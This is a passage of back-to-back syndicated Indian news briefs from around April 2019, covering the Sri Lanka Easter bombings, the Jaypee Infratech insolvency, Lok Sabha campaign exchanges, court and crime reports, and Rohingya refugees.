Al Futtaim Group, was last seen having breakfast along with his colleagues before a blast ripped through the Cinnamon Grand Hotel on April 11, Khaleej Times reported. India's Consul General to Dubai Vipul said that officials from the Indian High Commission in Colombo have confirmed that Juno was killed in the blasts. He said that a total of two Dubai-based Indians -- Razeena Kukkady, 58, and Juno -- were killed in Sri Lanka. Another Dubai expat was killed in the bombings. Juno's brother Jugnu and wife Rachna, who visited Colombo after the blasts, recognised his mortal remains, the report said. His mortal remains will be repatriated to India on Thursday. Juno's two children study in Dubai. The family, originally from Uttar Pradesh, is settled in Delhi. He completed his MSC in Computer Science and worked in Egypt before moving to Dubai in 2011, according to his Facebook profile. Juno checked into the Cinnamon Grand Hotel on April 20 along with his British colleague Lorraine Campbell, who also died in the attack. According to a statement by Sri Lanka's Foreign Ministry, the number of foreign nationals who have been identified as killed remained at 40. "One from Bangladesh, two from China, 11 from India, three from Denmark, one from Japan, one from the Netherlands, one from Portugal, two from Saudi Arabia, two from Spain, one from Switzerland, two from Turkey, six from the UK, one from USA, two holding US and UK nationalities, one holding Swiss and Dutch nationalities, one holding Dutch and Sri Lankan nationalities, and two holding Australian and Sri Lankan nationalities," the statement added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Lenders of debt-ridden Jaypee Infratech are believed to have rejected the bid of state-owned NBCC Ltd and will put to vote the offer of Mumbai-based Suraksha Realty for acquiring the realty firm, sources said. A meeting of Committee of Creditors (CoC) was held on Friday to consider the revised offers of both NBCC Ltd and Suraksha group to acquire Jaypee Infratech and complete over 20,000 housing units in various projects in Noida. According to a source, the CoC decided not to consider the NBCC's bid as it found the offer to be conditional and subject to approvals from various government departments. The offer of NBCC, a public sector unit under the aegis of the Ministry of Housing and Urban Affairs, put some other conditions as well. In the meeting, NBCC representatives sought some time to take approvals from different government departments, sources added. Under the insolvency law, conditional bids are not allowed. NBCC had submitted its revised bid on April 24 and offered to give lenders Rs 5,000 crore worth land parcels as against the earlier offer of land worth Rs 3,000 crore. But it was offering only 950 acres of land as against 1,450 acres earlier. Suraksha group has also made an offer of land worth Rs 5,000 crore. NBCC offered lenders the Yamuna Expressway that connects Noida to Agra in Uttar Pradesh in both earlier and revised bids. Meanwhile, business conglomerate Adani Group had also expressed interest to bid for Jaypee Infratech. However, lenders are unlikely to seek Adani's offer until this round of insolvency proceedings gets completed. Last week, crisis-hit Jaypee Group's promoters made a fresh attempt to retain control over its arm Jaypee Infratech by seeking the support of homebuyers for its debt resolution plan under the IBC. Jaypee Group Chairman Manoj Gaur had apologised to thousands of distressed homebuyers and promised to infuse Rs 2,000 crore to complete apartments over the next four years. The group had submitted a Rs 10,000-crore plan before lenders in April 2018 as well, but the same was not accepted. In 2017, the National Company Law Tribunal (NCLT) admitted the application by an IDBI Bank-led consortium seeking resolution of Jaypee Infratech. Anuj Jain was appointed the Interim Resolution Professional (IRP) to oversee the company's operations and undertake insolvency proceedings. In the first round of insolvency proceedings, the Rs 7,350 crore bid of Lakshdeep, part of Suraksha group, was rejected by lenders as it was found to be substantially lower than the company's net worth and assets. In October 2018, the IRP started a fresh initiative to revive Jaypee Infratech on the NCLT's direction. The realty firm has an outstanding debt of nearly Rs 9,800 crore. Jaypee Group's flagship firm Jaiprakash Associates Ltd (JAL) had submitted Rs 750 crore in the registry of the Supreme Court for the refund to buyers and the amount is lying with the NCLT. Jaypee Infratech is a subsidiary of JAL. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Hisar MP Dushyant Chautala's mother and JJP MLA Naina Chautala launched a sharp attack on Sunita Duggal, the BJP candidate from the Sirsa Lok Sabha seat, terming her a "barsati mendak" (seasonal politician) who would not be seen once the polls are over. The 51-year-old MLA from Dabwali in Sirsa district further said Duggal (51), the bureaucrat-turned-politician, had mostly spent her life "sitting in air conditioned rooms and does not know what the life in villages is like". Reacting to the barb, Duggal said, "frogs (mendak) eat mosquitoes, at least they do some good. But I want to tell her (Naina) that they (the Chautalas) are crocodiles who looted Sirsa". When asked who is her nearest rival, Duggal replied, "There is no competition, it is a one-sided race". Polling for the 10 Lok Sabha seats in Haryana will be held in the sixth phase on May 12. Naina Chautala was here to campaign for Jannayak Janta Party (JJP) candidate Nirmal Singh Malhadi fielded against BJP's Duggal and Congress' state president Ashok Tanwar. She claimed that Malhadi was far ahead in the race and would win with a comfortable margin. "Duggal is a barsati mendak who has come here for a few days only to seek votes. Have you seen her here for the last five years. After May 12, you will not see her here again," Naina Chautala, wife of former MP Ajay Chautala, said. "I tell people that when she comes to seek votes, just question her what her party has done for the farmers. Has any school been upgraded here... They only do on various issues to seek votes," she said. She further said that people of Sirsa are wise and they will not back a "seasonal politician" and will support Malhadi, who has been "with them all through". (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) With the BJP predictingthe Congress-JD(S) coalition government's collapse and dissidence resurfacing in Congress, Chief Minister H D Kumaraswamy has called a meeting of JD(S) legislature party on Sunday to discuss the political developments in the state. The meeting has been called after the Lok Sabha polls to discuss the recent political developments, party sources said. With speculation about the longevity of the coalition government coming to the fore again and threat by rebel Congress MLA Ramesh Jarkiholi to quit the party, along with other legislators, Kumaraswamy Thursday took stock of the situation with his deputy G Parameshwara and senior Minister D K Shivakumar. As the second phase of Lok Sabha polls drew to a close Tuesday, this speculation gained ground with state BJP chief B S Yeddyurappa predicting the coalition government's collapse after the May 23 election results. There are talks within political circles that any adverse results for the coalition in the Lok Sabha polls,which they fought in alliance, despite resentment within amonggrass root workers and leaders of both parties, willhave its implications on the longevity of the government. Adding to this was the threat by Jarkiholi, who hasbeen hobnobbing with BJP for some time now that he, alongwith other MLAs, would resign from the Congress soon, which has caused fear among the ruling coalition leaders as itwould trigger the numbers game in the assembly. Meanwhile, speaking to reporters in Belagavi, Deputy Chief Minister G Parameshwara Friday said the Congress has madeefforts to reach out to Jarkiholi. "We have been trying every day on coming to know thathe has come to Bengaluru. I tried to speak to him, but he was not available. All of us are trying. None of us want to lose a friend like him. He too has worked for the party from the youthCongress level... we don't want to let go of him easily," he said. Pointing out that Jarkiholi on many occasions in the past had said he would resign, Parameshwara said, "if he resigns, we will think about further action. If he does not, we will think about how to use him in the party." If he resigns, the seat which he is representing asMLA will fall vacant, as we still have four years.Sowe willhave to fill this seat by holding by-election..we will preparefor that," he added. There are signs that Jarkiholi is left alone, with legislators considered close to him expressing their allegiance to the Congress. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Prime Minister Ranil Wickremesinghe said that the government had known that Sri Lankan nationals who had joined the Islamic State had returned to the country, but they could not be arrested as joining a foreign terrorist organisation is not against the law. The Islamic State group has claimed responsibility for the Easter terror attacks on three Catholic churches and three luxury hotels that claimed 253 lives but the government has blamed a local Islamist extremist group National Tawheed Jamath (NTJ) for the bombings. We knew they went to Syria...But in our country, to go abroad and return or to take part in a foreign armed uprising is not an offence here, Wickremesinghe told Sky News. We have no laws which enable us to take into custody people who join foreign terrorist groups. We can take those who are, who belong to terrorist groups operating in Sri Lanka," he was quoted as saying. Facing public criticism for not acting against Islamist extremist groups in the island nation, Prime Minister Wickremesinghe said some of the suspected attackers responsible for the Easter bombings were being monitored by the country's intelligence services. But authorities did not have "sufficient" evidence to place the suspected attackers in custody prior to the attacks, he said. Top officials have acknowledged that Sri Lanka received intelligence about possible terror strikes ahead of the attacks, but both President Maithripala Sirisena and Prime Mnister Wickremesinghe have said that they did not receive the information. Wickremesinghe told CNN that he did not rule out the possibility of more attacks in the country. He said authorities were now focussing on "sleepers" - terrorists who could activate another round of attacks. "Police and security forces are rounding up those involved, but they're also rounding up the sleepers, those used on second and third rounds (of attacks)," he said. "The danger has come down drastically, (but) we do have to pick up some more sleepers, which we will do in the next few days." Sri Lankan police have released photos of six suspects, including three women, wanted for their involvement in the attacks and sought information regarding them from the public. Authorities earlier said nine bombers, believed to be members of local Islamist extremist group NTJ, carried out the blasts. Sri Lankan Islamist extremist Zahran Hashim, said to be the top leader of an IS linked local militant group that carried out the Easter Sunday bombings, died in the blast at the Shangri-La hotel, President Maithripala Sirisena said Friday. Hashim, the head of extremist group National Tawheed Jamath (NTJ), led the attack on the hotel and was accompanied by a second bomber identified as Ilham Ahmed Ibrahim. Hashim was killed during the bombings, the president told reporters here. The president said the information came from military intelligence and was based in part on CCTV footage recovered from the scene. Hashim appeared in a video released by the Islamic State group after they claimed the bombings, but his whereabouts after the blasts were not immediately clear. In the video, the round-faced radical cleric was seen dressed in a black tunic headscarf and posing with a rifle. The country's Muslim community had been warning about the firebrand cleric for years. However, it was the ISIS video that provided solid evidence about the Sri Lankan cleric's role in terrorism and Easter Sunday bombings. Hashim was believed to be 40 years old and a loner. He hailed from the east coast region of Batticaloa. He was a college drop-out and hailed from an average Muslim middle-class family. India's National Investigation Agency during its probe into an ISIS-inspired module planning to kill prominent leaders in south India had stumbled upon videos of Hashim, which was indicative of a terror attack on the Indian High Commission in Colombo. The videos showed Hashim asking youths from Sri Lanka, Tamil Nadu and Kerala to establish an Islamic rule in the region. After further investigation which included cyber trailing of some of the accounts associated with the ISIS, India's central security agencies had shared an input with their Lankan counterparts about the churches being the likely target of the ISIS module. Sri Lankan Prime Minister Ranil Wickremesinghe on Friday said the country needs new laws to deal with threats posed by local terror outfits linked to ISIS, the group which has claimed responsibility for the Easter bombings that left 253 people dead and several hundreds injured. "The definition on aiding terrorism is very narrow. Therefore, the laws are not strong to deal with a situation like this," Wickremesinghe said in a televised address. "We have to widen the scope of these laws to counter global terrorism. Not only they (the terrorists) should be arrested, their assets also need to be confiscated," he added. The Islamic State group has claimed responsibility for the Easter terror attacks on three Catholic churches and three luxury hotels but the government has blamed a local Islamist extremist group, National Tawheed Jamath (NTJ), for the bombings. Earlier in an interview to Sky News, the prime minister said the government knew that Sri Lankan nationals who joined the Islamic State had returned, but they could not be arrested as joining a foreign terrorist organisation is not against the law in the island nation. "We knew they went to Syria...But in our country, to go abroad and return or to take part in a foreign armed uprising is not an offence here, Wickremesinghe said. "We have no laws which enable us to take into custody people who join foreign terrorist groups. We can take those who are, who belong to terrorist groups operating in Sri Lanka," he told the channel. Admitting failure of the Lankan intelligence on the attacks, Wickremesinghe said although he had not been fed with prior information, he as the prime minister takes full responsibility for the failure. He said although the attacks were carried out in the island nation, they might have been remotely controlled at another country. The planning of the attack and training might have been in another country, he said, adding, "Without destroying this network we will fail in our task to eliminate global terrorism." Meanwhile, Finance Minister Mangala Samaraweera said the Easter attacks have caused 30 per cent revenue loss to the country. "We expect a 30 per cent drop in (tourist) arrivals and that means a loss of about USD 1.5 billion in foreign exchange," he said, adding that the country could take up to two years to fully recover from the Easter attacks. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Sri Lanka's police chief on Friday became the latest senior official to quit over failures to prevent the Easter massacre, as President Maithripala Sirisena said the top leader of the Islamist extremist group blamed for the deadly attacks died in the blast at the Shangri-La hotel. Sirisena, who is also the defence minister, said Inspector General of Police Pujith Jayasundara resigned over failures which led to the worst terror attack in the country's history. "The IGP has resigned. He has sent his resignation to the acting defence secretary. I'll nominate a new IGP soon," the president said. His resignation came a day after the country's defence secretary Hemasiri Fernando resigned on Thursday. President Sirisena had asked both Fernando and Jayasundara to quit after their failure to prevent the blasts despite having prior intelligence. Top officials have acknowledged that Sri Lanka received intelligence about possible terror strikes ahead of the attacks, but both Sirisena and Prime Minister Ranil Wickremesinghe said that they did not receive the information. Nine suicide bombers carried out a series of devastating blasts that tore through three churches and three luxury hotels on the Easter Sunday. The Islamic State group has claimed the attacks, but the government has blamed local Islamist extremist group National Tawheed Jamath (NTJ) for the attacks. The health ministry Thursday night sharply revised the death toll downward to 253, saying the previous figure of 359 was due to a "calculation error". Sirisena said the intelligence supplied by a friendly nation was not shared with him by officials. "All they have done was to exchange letters among themselves," he said. "I asked both police chief and defence secretary why the information was not shared with me, they remained silent," he said. He said the security lapse was also due to the current government's weakening of intelligence operations. This is a reference to the arrest and trials against a handful of military intelligence officers who were responsible for attacks and murder of journalists, abductions and ransom taking, he said. He said the power struggle in his government was because he had objected to the government's weakening of the security forces. Sirisena said he would soon set up a Joint Operations Command to combat terrorism and each and every house would be checked for the safety of all citizens. The president confirmed that Sri Lankan Islamist extremist Zahran Hashim, the top leader of the NTJ, died in the blast at the Shangri-La hotel. He led the attack on the hotel and was accompanied by a second bomber, Ilham Ahmed Ibrahim. The president said the information came from military intelligence and was based in part on the CCTV footage recovered from the scene. Hashim, believed to be 40 years old, appeared in a video released by the Islamic State after the attacks. In the video, the round-faced radical cleric was seen dressed in a black tunic headscarf and posing with a rifle. He was accompanied by seven masked attackers. The country's Muslim community had been warning about the firebrand cleric for years. However, it was the ISIS video that provided solid evidence about the Sri Lankan cleric's role in terrorism and the Easter bombings. Hashim, originally from the east coast region of Batticaloa, was a college drop-out and hailed from an average Muslim middle-class family. The president also appealed to the island nation not to view its minority Muslim community as terrorists in the wake of the attacks. Sirisena said despite the attacks, the island's nine per cent Muslim minority must not be regarded terrorists. "We looked into banning the NTJ but we do not have laws to do that right now. We have to draft new laws. We will get this done soon," he said. "Information is that around 130-140 ISIS suspects are in the country. Around 70 are arrested, we will arrest them all very soon ending this (terror)," Sirisena said. Police said that over 70 suspects, including five women, have been arrested as the Lankan authorities have intensified their search operations with the help of the army. This Friday, some mosques cancelled prayers after Muslim affairs minister called on the community members to pray at home instead, in solidarity with churches that have closed over security fears. Among mosques that did hold Friday prayers in Colombo, attendance was thin. Security was beefed up around "a certain category of mosques" after intelligence warning that the NTJ was planning an attack on them during Friday prayers. A letter, signed by DIG Priyantha Jayakody on behalf of Inspector General of Police Jayasundara and dated April 24, warned that a certain category of mosques identified as 'Awliya Mosques' could be possible target. The city and the immediate suburbs of Colombo looked deserted this morning. Most offices have allowed employees to work from home. "During the last 24 hours, there have been no incidents reported," Brigadier Sumith Atapattu, the military spokesman, said. He said the Lankan Army would continue search operations for suspects linked to the terror group. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Dispelling the impression that recent searches by Income-Tax department were politically motivated, Prime Minister Narendra Modi Friday said the law is equal for all and his residence should also be searched if he has done anything wrong. Addressing a public meeting here in Madhya Pradesh, he targeted the Congress on corruption, saying it committed the "Tughlaq Road election scam", whose money was being used for the poll campaign of its chief Rahul Gandhi. Referring to recent I-T raids at the premises of aides of Madhya Pradesh's Congress Chief Minister Kamal Nath, Modi said, "They are crying that why were they targeted by the agencies. But they were raided as they indulged in wrongdoing. If Modi is found to do such things then he should also not be spared." The Central Board of Direct Taxes had said the department has also detected a trail of Rs 20 crore suspect cash allegedly being moved to the "headquarters of a major political party in Delhi" from the house of an important person who lives on Tughlaq Road, home to many VIPs. After the raids, a Congress leader in Madhya Pradesh had accused the BJP-led central government of targeting opposition leaders for "political vendetta". "Modi tum virodhi dal valon ko kyon raid karte ho... mudda yeh nahi hai par itna sara paisa kahan se nikla (Why is Modi targeting those in the opposition. But this is not an issue. The point is from where has so much money come)," he said. Continuing his attack on the Congress, the PM said, "Ek toh chori upar se seenajori (They indulge in theft and then raise their voice too). "Agar Modi bhi gadbad kar raha hai to uske ghar bhi raid panda chahiye, kanoon sabke liye saman hona chahiye (If Modi does anything wrong, then his house should also be raided. Law should remain equal for all)." Slamming Kamal Nath without naming him, Modi said money sent by the Centre under different schemes, including for providing nutritious food to pregnant women, is being swindled by the Congress government in Madhya Pradesh. "This stolen money is being sent to Tughlaq Road, where the bungalow of a big Congress leader is located, and from there it is routed to the place of 'naamdar' (apparently referring to Gandhi) for funding his electioneering," Modi said. Talking about the Congress rule in the state, he said the Kamal Nath government has resorted to power cuts in the name of halving electricity bills of consumers. "This is an example of how they function," he said, warning people not to vote for the Congress in the Lok Sabha polls. Modi said money disbursed by the Central government for farmers in Madhya Pradesh under its schemes was yet to reach the beneficiaries. He accused the Nath dispensation of not sharing with the Centre the list of farmers requiring the help. Taking a jibe at the MP chief minister, Modi said perhaps Nath was "too busy" to share the list with the Centre due to his Switzerland visit and political grooming of his son (who is contesting Lok Sabha election). He criticised the Congress for the way it had dealt with the issue of terrorism while in power and remarked that the approach to tackle the menace has changed under the NDA government. "The present government wont spare any terrorist and will hit them by entering in their den," the PM said. Modi said he alone will not be able to root out the menace of terrorism and sought people's support by way of their votes to accomplish the task. He asked the people who from among the opposition wanting to become the PM can wipe out terrorism. When they chanted his name in response, Modi said it is not him but their "one vote" that would help wipe out terrorism. Modi said Karnataka Chief Minister H D Kumaraswamy had insulted soldiers with his reported remark that only those who cannot manage two square meals a day seek jobs in armed forces. He took potshots at "those from the opposition parties aspiring to become the next prime minister". They have already ordered their tailors for new attires, he added. Madhya Pradesh, which has 29 Lok Sabha seats, will have a four-phase polling starting from April 29. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Maharashtra Congress Friday called the BJP-Sena rally here addressed by Prime Minister Narendra Modi as the "bunty and babli show" which people of the country would no longer believe in. In a statement, Maharashtra Congress spokesperson Sachin Sawant said the country had witnessed 'bunty and babli' "duping" people and asked voters not to fall prey to them. Referring to the prime minister's remarks that all opinion polls and surveys predicted a win for the NDA, Sawant said it proved that all such surveys had been commissioned by the BJP itself. He attacked the PM for claiming that Congress had called the middle class of the country selfish and greedy. The Congress leader said people of Mumbai will never forget the insult heaped on martyred former Maharashtra Anti-Terrorism Squad chief Hemant Karkare by the BJP's Bhopal Lok Sabha candidate Pragya Singh Thakur. "Modi didn't have the moral stand to apologise for her comments," Sawant added. Thakur, an accused in the 2008 Malegaon blast case, had earlier said that Karkare died in the 26/11 Mumbai terror attack as she had "cursed" him for "torturing" her in custody. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Congress' Ramtek Lok Sabha candidate Kishore Gajbhiye Friday demanded the registering of a case and detailed probe in the theft of a digital video recorder (DVR) and two LCD television sets from a 'strong room' in Umred. Ramtek went to polls on April 11 and Gajbhiye is pitted against sitting MP Krupal Tumane. Gajbhiye said in case the stolen equipment is not found, a repoll should be ordered for the seat. "On April 12, one DVR and two LCD television sets were stolen from a temporary strong room in the government's ITI facility in Umred. EVMs were kept at this strong room till the evening of April 12 before they were taken to the main counting centre in Nagpur," Gajbhiye said, while addressing a press conference. The DVR and LCDs were stolen in the intervening night of April 12 and 13, he said. "Besides, the assistant returning officer (ARO) did not send a report of the theft to the government and the collector. The ARO should have filed an FIR about the theft as it relates to the election process," he said. The ARO took cognisance of the issue 8-10 days later when it appeared in local newspapers, Gajbhiye alleged. "We have filed a complaint with the Chief Election officer (Maharashtra)and the police department. We demand that there should be no counting of votes in the Umred segment till we see the CCTV footage and the contents of the DVR. If is is not retrieved, we will demand a repoll," he said. He said only the footage in the DVR will show whether any irregularities took place in the strong room. In a press note, Ramtek Lok Sabha returning officer Shrikant Fadke said that after the polls on April 11, the EVMs that were used for voting were deposited at the Kalamana strong room in Nagpur by April 12 afternoon. "Similarly, the strong room was sealed in the presence of the representatives of all political parties. Hence, there were no EVM and VVPAT in the Umred strong room," he said in the statement. He added that the LCDs and DVR were stolen from a guard's cabin outside the strong room. Fadke further informed that the strong room was under police protection and when the incident came to light, police was informed by poll authorities on April 15. He said the incident would not affect the polls as all the EVMs and VVPAT slips are safe in the Kalamana strong room, he added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) : Mahindra Lifespace Developers Ltd Friday announced the inauguration of the first industrial cluster ORIGINS in association with Sumitomo Corporation, Japan. Japan Ambassador to India Kenji Hiramatsu along with top company officials formally inaugurated ORIGINS here. ORIGINS, Chennai is a 60-40 joint venture between Mahindra World City Developers, a subsidiary of Mahindra Lifespace Developers Ltd and Japan-based Sumitomo Corporation. The companies have jointly committed to invest around Rs 1,000 crore in ORIGINS which is expected to generate 7,000 new jobs when the cluster becomes fully operational. The first phase of ORIGINS spread across 300 acres and the target customers would be in engineering, food processing, automotive, logistics and aerospace sectors. "It is gratifying to see our vision of a future-focused and sustainable industrial cluster come to life," Mahindra Lifespace Developers, Managing Director and CEO, Sangeeta Prasad said. "ORIGINS, Chennai provides a holistic business ecosystem designed to create employment opportunities and drive long-term socioeconomic growth. We are proud to have Sumitomo Corporation as our partner in our journey of industrial development in Tamil Nadu," she said. Sumitomo Corporation, Infrastructure Business, Unit, Managing Executive Officer and General Manager, Tsutomu Akimoto said, "Tamil Nadu is one of the most promising destinations for Japanese investments in India and I strongly believe ORIGINS, Chennai can enhance the state's attractiveness as an innovation and manufacturing hub." "Sumitomo Corporation is committed to making relentless efforts to contribute to Make in India, and realise prosperity and dreams for all people of Tamil Nadu through our industrial park business," he said. Mahindra Lifespace on the occasion also signed pacts with Japan-based Yanmar Engine Manufacturing India and Nissei Electric, it said. ORIGINS also bagged the Indian Green Building Council Green Cities' Platinum rating, it added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A man from Assam working in a private hospital here was Friday detained by police after he allegedly claimed himself to be a 'terrorist', reportedly to instill fear among his colleagues during a spat, police said. Kandarpa Das, working in the house keeping section of a hospital in the city for the past one month, was picked up for questioning following a complaint from the hospital management, they said. During investigation it was found that case had been registered against Das and three others in Naxalbari police station in Darjeeling district of West Bengal for allegedly making hoax bomb calls, police said. When asked about reports in a section of media that Das was a member of a north-east based extremist outfit, a police officer said investigations were on. No case had been filed against him so far, the officer added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A court here has sentenced a 26-year-old man to seven years of rigorous imprisonment for raping a tribal girl in 2016. Special court judge P P Jadhav held Ashirwad Vishnu Patil guilty under Indian Penal Code section 376 (rape) and relevant provisions the Protection of Children from Sexual Offences (POCSO) Act, and awarded the sentence on Monday. The court also imposed a fine of Rs 10,000 on him. "The victim is a poor tribal girl. She delivered a child out of rape. She has not been given compensation under any government scheme. "Under such circumstances, this is a fit case to be recommended for compensation," the court said in its judgment. Prosecutor Vivek Kadu told the court that Patil and the girl were residents of the same village in Bhiwandi. He befriended the girl and then sexually assaulted her on several occasions on the promise of marriage in June 2016, Kadu said. The girl, a few months later, complained of health problems and when her parents took her for medical checkup, doctors told them that she was pregnant. The girl then told her parents about Patil and thereafter, a complaint was lodged at the Bhiwandi Taluka police station. The victim later delivered a girl child. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A 52-year-old man allegedly stabbed his estranged wife to death and assaulted his daughter over some argument at Kalyan town in the district, police said on Friday. The accused, Mohan Gurunath Mahajan, an autorickshaw driver, has been booked for the crime that took place on Thursday night, police said. According to police, the Mahajan family lived in Thankar Pada locality in Kalyan. Over the past few years, there were differences between the couple and they used to argue over minor issues. Two years ago, the accused abandoned his family and started living separately, police said. "On Thursday night Mahajan came to meet his family. Soon, he entered into argument with his wife Manisha (45). In a fit of anger, he stabbed her several times with a sharp weapon. He also attacked his 24-year-old daughter before fleeing from the spot," a police officer said. The two women were rushed to a neaby hospital, where the wife of the accused was pronounced brought dead, police added. Mahajan, who is yet to be arrested, has been booked under IPC sections 302 (murder), 307 (attempt to murder) and 326 (voluntarily causing grievous hurt by dangerous weapons or means), police said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A special court for POCSO cases at Bharuch in Gujarat has sentenced a man to life imprisonment till death for raping a hearing-and-speech impaired girl. Ashok Vasava, 34, was convicted under IPC section 376 (rape) as well as under the Protection of Children from Sexual Offences (POCSO) Act Thursday. Public prosecutor R J Desai said Vasava, father of three children, raped an 11-year-old girl who was deaf and mute at Jhagadiya in Bharuch district on December 6, 2016, when she stepped out of her house to answer nature's call. While the girl's testimony could not be recorded, the prosecution examined nine other witnesses including her mother and also produced medical evidence, Desai said. Judge S V Vyas, in his order, said to show leniency to the accused who showed no remorse "after exhibiting extreme depraved mentality" would be a "travesty of justice". The court said Vasava would serve prison sentence till his death (as against ordinary life sentence where the convict can be released after 14 years) considering that he raped a girl who could not even communicate. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) The Meghalaya government will invest Rs 378 crore in fish production for meeting a supply deficit of 15,000 metric tonnes, a senior official said Thursday. The state has been able to produce 12,000 MT of fish annually against the demand of over 27,000 MT, Agricultural Production Commissioner K N Kumar said. An investment of Rs 161 crore was made in the first edition of the Meghalaya State Aquaculture Mission (MSAM) that had benefited 21,000 persons in 2012, when fish production was only 4,000 MT, he said. "We will invest Rs 378 crore in the second phase of the Meghalaya State Aquaculture Mission for reducing the supply deficit," Kumar said. He was addressing the inaugural function of the State Level Fish Farmers Conclave 2019 here, which was attended by scientists, scholars, bank and credit representatives besides fish farmers from all the 11 districts of the state. Kumar also highlighted the need to constitute a Meghalaya Fish Farmers Association since there are now 22,000 fish farmers in the state. In his address, Fisheries Minister Comingone Ymbon said, the MSAM is aimed at maximization of fish production through technological interventions, creation of more water bodies, making available quality fishseeds besides promoting scientific feeding and improved managerial practices. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) A special MCOCA court Friday convicted three aides of gangster Ravi Pujari for demanding extortion from a Chembur based contractor in 2014. While Vijay Rao and Mahesh Pawar were sentenced to ten years in jail, Sudhakar Kuthe got a four-year jail term, the prosecution said. Judge S M Bhosle found them guilty of the offence punishable under IPC section 387 (extortion), 324 (voluntarily causing hurt) as well as provision of the Arms Act and Maharashtra Control of Organised Crime Act (MCOCA). However, for want of evidence the court acquitted Yusuf Bachkana who was in touch with the convicted accused on phone from jail, chief public prosecutor Jaisingh Desai said. The accused had demanded Rs 2 crore from the contractor, after which he approached the police and the accused were held in 2014, Desai said. During the course of trial, the prosecution examined 23 witnesses, he added. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) New violence in Myanmar's troubled Rakhine state has delayed a United Nations study on 1,000 villages abandoned by Muslim Rohingya, a top UN envoy said Friday. UN experts were only been able reach about 100 of the villages that the Rohingya fled after the Myanmar military launched a deadly crackdown in 2017, UN high commissioner for refugees Filippo Grandi said. Even in those villages access has been "very restricted", Grandi told reporters at the end of a tour of refugee camps in Bangladesh's Cox's Bazar district, where more than one million Rohingya now live. Riven by complex ethnic and religious divides, Rakhine is now witnessing deadly battles between the Myanmar army and the Arakan Army (AA), a group that claims to represent the state's ethnic Rakhine Buddhists and is vying for more autonomy. The AA has killed at least 22 police officers since fighting ramped up in January. The UN was to get access under an accord made with the Myanmar government last year to prepare for repatriations. "The implementation of this agreement has been very slow, and has been particularly slow in the last three-four months" because of the Arakan army insurgency, Grandi told reporters. Some 740,000 Rohingya refugees fled a military crackdown in August 2017 to cross into Bangladesh where 300,000 members of the persecuted Muslim minority were already in camps. Many Rohingya refugees who fled Rakhine said there had been mass rapes and slaughters in the villages. UN officials have said the crackdown needs a genocide investigation. UN officials and diplomats say repatriations are now unlikely to happen. UN leaders have called on the international community to step up financial support for the huge refugee concentration. Grandi said contributions this year had been lower than expected. The envoys did not comment on Bangladesh's plans to move many refugees to an isolated island in the Bay of Bengal. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Prime Minister Narendra Modi Friday hit out at Congress president Rahul Gandhi and party's Chief Ministers in Madhya Pradesh and Rajasthan, saying they are busy promoting their families at the cost of people. Addressing an election rally here, he said these Congress leaders are not concerned about the children of common citizens of the country. Targeting Gandhi, Modi once again described him as a 'naamdar' (dynast). "There is a naamdar (Gandhi) in Delhi and in Rajasthan and Madhya Pradesh the Congress Chief Ministers are busy in making careers of their sons. "When you ask in Rajasthan where is the chief minister and you get to know that he is in Jodhpur to ensure victory for his son. "In Madhya Pradesh also when you ask where is the CM and you come to know that he is busy handling his son (campaign) in Chhindwara," the prime minister said. He said these Congress Chief Ministers are not at all concerned about the sons of common citizens. "When they are busy handling their sons, how can they have any concern for your sons? They are worried about their sons and have no concern for crores of sons of the country," Modi said, criticising the Congress for promoting select families in Rajasthan Chief Minister Ashok Gehlot's son, Vaibhav, is contesting from the Jodhpur Lok Sabha seat, while his Madhya Pradesh counterpart Kamal Nath's son, Nakul, is in the fray from the Chhindwara parliamentary constituency. Voting in Chhindwara will take place on April 29. The rally here was organised in support of BJP Lok Sabha candidate from Jabalpur Rakesh Singh, who is the sitting MP from the seat. Madhya Pradesh, which has 29 Lok Sabha seats, will vote in four phases starting from April 29. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Nine candidates withdrew their nominations Friday, leaving the total number of candidates contesting from various constituencies in Delhi for the Lok Sabha polls at 164. Two of these candidates -- one from a little known outfit (Social Democratic Party Of India) and another independent -- withdrew their nominations from North East Delhi Lok Sabha constituency, which now has 24 candidates in the fray. Another independent candidate withdrew his nomination from the East Delhi Lok Sabha constituency, leaving the total tally of candidates at 26. Two independent candidates withdrew their nominations from North West Delhi constituency, while one backed out from the fray in West Delhi constituency. The total number of candidates contesting from North West and West Delhi constituencies are 11 and 23, respectively. Three candidates of the Rashtriya Krantikari Janata Party, All India Rajiv Congress Party and Bharat Prabhat Party withdrew their nominations from South Delhi, which now has 27 candidates in the fray. There was no withdrawal of nomination from the New Delhi Lok Sabha constituency which has 27 candidates. Delhi is divided into seven parliamentary constituencies and will go to polls on May 12. The elections will see a triangular contest between the incumbent BJP, AAP and Congress on the seven seats. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Claiming that the BJP is poised to win 400 seats in Lok Sabha elections, Uttar Pradesh Chief Minister Yogi Adityanath on Friday said the "enthusiasm among people" for the party has not developed overnight and credited it to the efforts of the Modi government on issues of checking corruption and strengthening national security during the last five years. "There is only one wave in the country. Every vigilant voter has only one wish that (Narendra) Modi becomes the Prime Minister again. When people are connected with this resolve, there is no power that can stop him from becoming the PM," Adityanath said at an election meeting in support of BJP's Kushinagar nominee Vijay Kumar Dube. Targeting the previous UPA government, he said, "Five years ago, when the Congress was at the helm, scams of all kinds were surfacing. The then prime minister Manmohan Singh used to say that the first right on the country's resources was that of Muslims. The enthusiasm for the party had not developed overnight , he said and listed the initiatives undertaken during the BJP rule. The chief minister claimed that the security situation has improved in the country under the BJP. "At the time of the Congress 